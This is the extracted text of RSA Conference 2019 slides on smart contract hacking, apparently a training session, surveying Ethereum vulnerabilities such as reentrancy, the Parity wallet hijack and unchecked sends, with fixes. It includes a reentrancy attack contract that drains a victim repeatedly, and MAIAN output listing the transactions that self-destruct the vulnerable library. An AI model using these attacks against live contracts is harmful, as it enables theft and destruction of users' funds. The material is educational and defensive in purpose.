RSA Conference 2019

San Francisco | March 4–8 | Moscone Center



SESSION ID: HT-F02

Advanced Smart Contract Hacking

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When transactions aren't enough



"The key component is this idea of a Turingcomplete blockchain" --Vitalik Buterin

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2

Meow—putting that computing power to use?







Smart contracts







Millions of reasons to hack smart contracts



B

Stephan Tual Follow Slock.it Founder, Blockchain and Smart Contract Expert, Former CCO Ethereum Jun 12 · 3 min read

No DAO funds at risk following the Ethereum smart contract 'recursive call' bug discovery IIIEI A \$50 Million Hack Just Showed That the DAO Was All Too Human

SHARE

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TWEET

DMMEN

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Our team is blessed to have Advisor. During the early d to his guidance we were ma Ethereum smart contracts. "recursive call vulnerability as can be seen on line <u>580</u>:







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Problem isn't going away

Category	#Candidates flagged (distinct)	Candidates without source	#Validated	% of true positives
Prodigal	1504 (438)	1487	1253	97
Suicidal	1495 (403)	1487	1423	99
Greedy	31,201 (1524)	31,045	1083	69
Total	34,200 (2,365)	34,019	3,759	89

Table 1: Final results using invocation depth 3 at block height BH. Column 1 reports number of flagged contracts, and the distinct among these. Column 2 shows the number of flagged which have no source code. Column 3 is the subset we sampled for concrete validation. Column 4 reports true positive rates; the total here is the average TP rate weighted by the number of validated contracts.



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Dev tools

- .sol files > bytecode > blockchain
- Atom with plugins:
 - language-ethereum
 - etheratom
- Remix: browser based







oyente and Manticore







MAIAN

Type of contract code · Solidity source code Contract name WalletLibrary Check on Prodigal Check on Suicidal C Bytecode source START Check on Greedy C Bytecode compiled [] Compiling Solidity contract from the file example_contracts/ParityWalletLibrary.sol ... Done [] Connecting to PRIVATE blockchain emptychain ... ESTABLISHED Check on PRODIGAL [] Deploying contract confirmed at address: 0x9E536236ABF2288a7864C6A1AfaA4Cb98D464306 //sol Wallet // Multi-sig, daily-limited account proxy/wallet. Vulnerability found [] Contract code length on the blockchain : 16530 : 0x60606040526004361061011d5760... // @authors: [] Contract address saved in file: ./out/WalletLibrary.address Vulnerability confirmed // Gav Wood <g@ethdev.com> [] Check if contract is SUICIDAL (see the log below) // inheritable "property" contract that enables methods to be protected by requiring the acquiescence of either a [] Contract address : 0x9E536236ABF2288a7864C6A1AfaA4Cb98D464306 // single, or, crucially, each of a number of, designated owners. [] Contract bytecode : 60606040526004361061011d576000357c0100000000000000... Check on SUICIDAL // usage: [] Bytecode length : 16528 // use modifiers onlyowner (just own owned) or Vulnerability found [] Blockchain contract: True onlymanyowners(hash), whereby the same hash must be provided Vulnerability confirmed [] Debug : False by // some number (specified in constructor) of the set of owners (see the log below) (specified in the constructor, modifiable) before the // interior is executed. Check on GREEDY pragma solidity ^0.4.9; Not vulnerable [-] Suicidal vulnerability found! contract WalletEvents { The following 2 transaction(s) will trigger the contract to be killed: // EVENTS [-] Suicidal vulnerability found! // this contract only has six types of events: it can accept a confirmation, in which case 00000000000000 The following 2 transaction(s) will trigger the contract to be killed: // we record owner and operation (hash) alongside it. -Tx[2] :cbf0b0c0 -Tx[1] :e46dcfeb event Confirmation(address owner, bytes32 operation); event Revoke(address owner, bytes32 operation); The transactions correspond to the functions: -initWallet(address[],uint256,uint256) // some others are in the case of an owner changing. -Tx[2] :cbf0b0c0 -kill(address) event OwnerChanged(address oldOwner, address newOwner); event OwnerAdded(address newOwner): + The transactions correspond to the functions: [] Confirming suicide vulnerability on private chain ... tx[0] mined tx[1] mined -initWallet(address[],uint256,uint256) Confirmed ! The contract is suicidal ! -kill(address) Settings [] Confirming suicide vulnerability on private chain tx[0] mined tx[1] mined Max function invocations Confirmed ! The contract is suicidal ! 10000 Solver timeout (msec)

To keep MAIAN free and up to date, consider donating Ether to our account: 0xfd03b29b5c20f878836a3b35718351adf24f4a06

MAIAN v1.0

Run





Methodology

- Interview devs
- Review .sol file
- Try compiling
- Dissect code flow
- Run oyente (cross fingers)
- Run Manticore
- Run MAIAN
- Manually check for following vulns...





Reentrancy



- mapping (address => uint) private expendableTokens;
- function stealTokens() public {
 - uint amountToLose = expendableTokens[msg.sender];
 - if (!(msg.sender.call.value(amountToLose)())) { throw; }
 expendableTokens[msg.sender] = 0;



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Leave off the first "re-" for savings



- mapping (address => uint) private expendableTokens;
- function stealTokens() public {
 uint amountToLose = expendableTokens[msg.sender];
 expendableTokens[msg.sender] = 0;
 if (!(msg.sender.call.value(amountToLose)())) { throw; }
 }



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Writing a contract to attack a contract

```
import "ReEntrancy.sol";
 contract ContractAttack {
   ReEntrancy r;
   uint public count;
   event PayMeOnRepeat(uint c, uint balance);
   function ContractAttack(address victim) {
     r = ReEntrancy(victim);
   function steal() {
     r.stealTokens();
```

function () payable {
 count++;
 PayMeOnRepeat(count, this.balance);
 if (count < 1000) {
 r.stealTokens();</pre>







Reentrancy (and irony) in the dao code

// Burn DAO Tokens

Transfer(msg.sender, 0, balances[msg.sender]);
withdrawRewardFor(msg.sender); // be nice, and get his rewards
totalSupply -= balances[msg.sender];
balances[msg.sender] = 0;
paidOut[msg.sender] = 0;
return true;

}



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Default public – Parity wallet hack

\$	ζ	@@ -104,7 +104,7 @@ contract WalletLibrary is WalletEvents {
104	104	
105	105	// constructor is given number of sigs required to do protected "onlymanyowners" transactions
106	106	// as well as the selection of addresses capable of confirming them.
107		<pre>- function initMultiowned(address[] _owners, uint _required) {</pre>
	107	+ function initMultiowned(address[] _owners, uint _required) internal {
108	108	m_numOwners = _owners.length + 1;
109	109	m_owners[1] = uint(msg.sender);
110	110	m_ownerIndex[uint(msg.sender)] = 1;
瑋	ζ	@@ -198,7 +198,7 @@ contract WalletLibrary is WalletEvents {
198	198	}
199	199	
200	200	// constructor - stores initial daily limit and records the present day's index.
201		<pre>- function initDaylimit(uint _limit) {</pre>
	201	<pre>+ function initDaylimit(uint _limit) internal {</pre>
	216	+
214	217	// constructor - just pass on the owner array to the multiowned and
215	218	// the limit to daylimit
216		- function initWallet(address[] _owners, uint _required, uint _daylimit) {
	219	<pre>+ function initWallet(address[] _owners, uint _required, uint _daylimit) only_uninitialized {</pre>



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initWallet

Overview	Comments							
Transactio	n Informatio	n	Tools & Utilities	•				
TxHash:		Dx9dbfD326aD3a2a3719c27be4fa69aacc9857fd231a8d9dcaede4b	b083def75ec					
Block Height:		4043800 (28739 block confirmations)	043800 (28739 block confirmations)					
TimeStamp:		6 days 5 hrs ago (Jul-19-2017 12:18:15 PM +UTC)	6 days 5 hrs ago (Jul-19-2017 12:18:15 PM +UTC)					
From:		0xb3764761e297d6f121e79c32a65829cd1ddb4d32 (MultisigExplo	it-Hacker)					
To:		Contract 0xbec591de75b8699a3ba52f073428822d0bfc0d7e 🕑						
Value:		0 Ether (\$0.00)						
Gas Limit:		82703	82703					
Gas Price:		0.00000021 Ether (21 Gwei)						
Gas Used By	/ Txn:	66839						
Actual Tx Co	st/Fee:	0.001403619 Ether (\$0.29)						
Cumulative G	as Used:	1283734						
Nonce:		5						
Input Data:		Function: initWallet(address[] _owners, uint256 _requ uint256 _daylimit) *** MethodID: 0xe46dcfeb [0]: 00000000000000000000000000000000000	Jired,					





execute

Overview	Internal Transactions		Event Logs	Comments					
Transactio	n Informatio	n			Tools & Utilities 🔻				
TxHash:		Oxeef10fc	0xeef10fc5170f669b86c4cd0444882a96087221325f8bf2f55d6188633aa7be7c						
Block Height		4043802 (4043802 (28738 block confirmations)						
TimeStamp:		6 days 5	hrs ago (Jul-19-201	17 12:19:36 PM -	+UTC)				
From:		0xb37647	61e297d6f121e79d	:32a65829cd1ddl	b4d32 (MultisigExploit-Hacker)				
To:		🔍 Contra 🦾 TRANSF	L Contract 0xbec591de75b8699a3ba52f073428822d0bfc0d7e						
Value:		0 Ether (\$	0 Ether (\$0.00)						
Gas Limit:		78926							
Gas Price:		0.00000021 Ether (21 Gwei)							
Gas Used By	/ Txn:	58433							
Actual Tx Co	st/Fee:	0.001227093 Ether (\$0.25)							
Cumulative G	as Used:	1821881							
Nonce:		6							
Input Data:		Functio *** MethodJ [0]:000 1ddb4d3 [1]:000 e414000 Lol.000	on: execute(addr D: 0xb6ld27f6 000000000000000000 32 0000000000000000	ress _to, uint; 0000000b376476; 000000000000000000	256 value, bytes data)				





Parity multisig wallet hack 2



devops199 commented 22 hours ago + edited

I accidentally killed it.

https://etherscan.io/address/0x863df6bfa4469f3ead0be8f9f2aae51c91a907b4





Parity 2 transactions

Function: initWallet(address[] _owners, uint256 _required, uint256
daylimit)
MethodID: 0xe46dcfeb
[0]:00000000000000000000000000000000000
[1]:000000000000000000000000000000000000
[2]:000000000000000000000000000000000000
[3]:000000000000000000000000000000000000
[4]:000000000000000000000000000000000000



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Not going with the (over)flow

2²⁵⁶ -1



0	Features Business Explore Marketplace Pricing
S 🖌	
De Ope	enZeppelin / zeppelin-solidity
<> Co	🕐 🕐 Issues 104 🕅 Pull requests 49 🛛 💷 Wiki 📊 Insights
Branch	: master zeppelin-solidity / contracts / math / SafeMath.sol
🎢 fra	angio Update to Truffle 4.1.5 and Ganache 6.1.0 (#876)
7 cont	ributors 🌃 😥 🎆 🗱 🛃 🔕 📜
49 li	nes (42 sloc) 1.12 KB
1	pragma solidity ^0.4.21;
2	
3	
4	/**
5	* @title SafeMath
6	* @dev Math operations with safety checks that throw on error
7	*/
8	library SafeMath {
9	
10	/**
11	* @dev Multiplies two numbers, throws on overflow.
12	*/
13	<pre>function mul(uint256 a, uint256 b) internal pure returns (uint256) {</pre>
14	if (a == 0) {
15	return 0;
16	}
17	uint256 c = a * b;
18	<pre>assert(c / a == b);</pre>
19	return r







Jnc	hec	ked	send	in	king	of	the	et	her



\rightarrow C \triangle	GitHub, Inc. [US] https://github.com/kieranelby/KingOfTheEtherThrone/blob/v0.4.0/contr
117	uint compensation = valuePaid - wizardCommission;
118	
119	if (currentMonarch.etherAddress != wizardAddress) {
120	currentMonarch.etherAddress.send(compensation);
121	} else {
122	// When the throne is vacant, the fee accumulates for the wizard.
123	}
124	



Unchecked send

1	if (kingOfLosingDone && !(compensationSent))	{
	<pre>monarch.send(500);</pre>			
	compensationSent = True;			
	}			





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Gas limits





BEST BLOCK

GAS PRICE

TRANSACTIONS

DIFFICULTY

💻 ACTIVE NODES

UNCLE COUNT (25 BLOCKS PER BAR)

() ATTENTION!

chfast.golern

🔵 bitwest

BLOCK TIME

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Withdraw don't send

```
contract SendContract {
    address public richest;
   uint public mostSent;
   function SendContract() payable {
        richest = msg.sender;
        mostSent = msg.value;
   function becomeRichest() payable returns (bool) {
        if (msg.value > mostSent) {
            richest.transfer(msg.value);
            richest = msg.sender;
            mostSent = msg.value;
            return true;
        } else {
            return false;
```

вт



Withdrawn not sent

```
contract WithdrawalContract {
    address public richest;
    uint public mostSent;
    mapping (address => uint) pendingWithdrawals;
    function WithdrawalContract() payable {
        richest = msg.sender;
        mostSent = msg.value;
    }
```

<pre>function becomeRichest() payable returns (bool) {</pre>
if (msg.value > mostSent) {
pendingWithdrawals[richest] += msg.value;
richest = msg.sender;
mostSent = msg.value;
return true;
} else {
return false;
}
}
<pre>function withdraw() {</pre>
<pre>uint amount = pendingWithdrawals[msg.sender];</pre>
pendingWithdrawals[msg.sender] = 0;
<pre>msg.sender.transfer(amount);</pre>





Transaction-ordering dependence

1	contract Puzzle{
	address public owner;
	<pre>bool public locked;</pre>
	uint public reward;
	<pre>bytes32 public diff;</pre>
	bytes public solution;
	function Puzzle(){
	owner = msg.sender;
	<pre>reward = msg.value;</pre>
	locked = false;
	diff = bytes32(11111);
	}

15	function(){
16	if (msg.sender == owner){
17	if (locked) throw;
18	owner.send(reward);
19	reward = msg.value;
20	}
21	else
22	if (msg.data.length > 0){
23	if (locked) throw;
24	if (sha256(msg.data) < diff){
25	<pre>msg.sender.send(reward);</pre>
26	solution = msg.data;
27	locked = true;
28	μ



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Transaction-ordering dependence



15	<pre>function(){</pre>
	if (msg.sender == owner){
	if (locked) throw;
	<pre>owner.send(reward);</pre>
	<pre>reward = msg.value;</pre>
	}
	else
	if (msg.data.length > 0){
	if (locked) throw;
	if (sha256(msg.data) < diff){
	<pre>msg.sender.send(reward);</pre>
	<pre>solution = msg.data;</pre>
	locked = true;
	}



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Call-stack depth limit

INFO:symExec:	======================================	
INFO:symExec:	EVM Code Coverage:	99.5%
INFO:symExec:	Parity Multisig Bug 2:	False
INFO:symExec:	Callstack Depth Attack Vulnerability:	False
INFO:symExec:	Transaction-Ordering Dependence (TOD):	False
INFO:symExec:	Timestamp Dependency:	False
INFO:symExec: INFO:symExec:	Re-Entrancy Vulnerability	um 🤣
	and the second sec	Improiect

Following

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Announcement of imminent hard fork for EIP150 gas cost changes:



Announcement of imminent hard fork for EIP150 gas cost...

During the last couple of weeks, the Ethereum network has been the target of a sustained attack. The attacker(s) have been very crafty in locating vulnerabilities in the client implementations as...

blog.ethereum.org

5:28 PM - 13 Oct 2016





Variable or function ambiguity



Player[] public persons;

- uint public payoutCursor_Id_ = 0; uint public balance = 0;
- address public owner;
- uint public payoutCursor_Id=0;
- •
 - while (balance > persons[payoutCursor_Id_].deposit / 100 * 115) {
 - uint MultipliedPayout = persons[payoutCursor_Id_].deposit / 100 * 115; persons[payoutCursor Id].etherAddress.send(MultipliedPayout);
 - persons[payoutCursor_Id].etherAddress.send(MultipliedPay
- balance -= MultipliedPayout;
- payoutCursor_Id_++;





Odds and ends

- Timestamp dependence
- Business logic flaws
- Encryption
- Separating public/private data





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Prepping for the future...







Real-time blockchain protection







Get involved

- Master Solidity
- Experiment with smart contract hacking challenges online
- Now that we're done with the coin-price craze, companies are doing practical things with this technology
- Enterprise Ethereum Alliance member companies are a great place to start

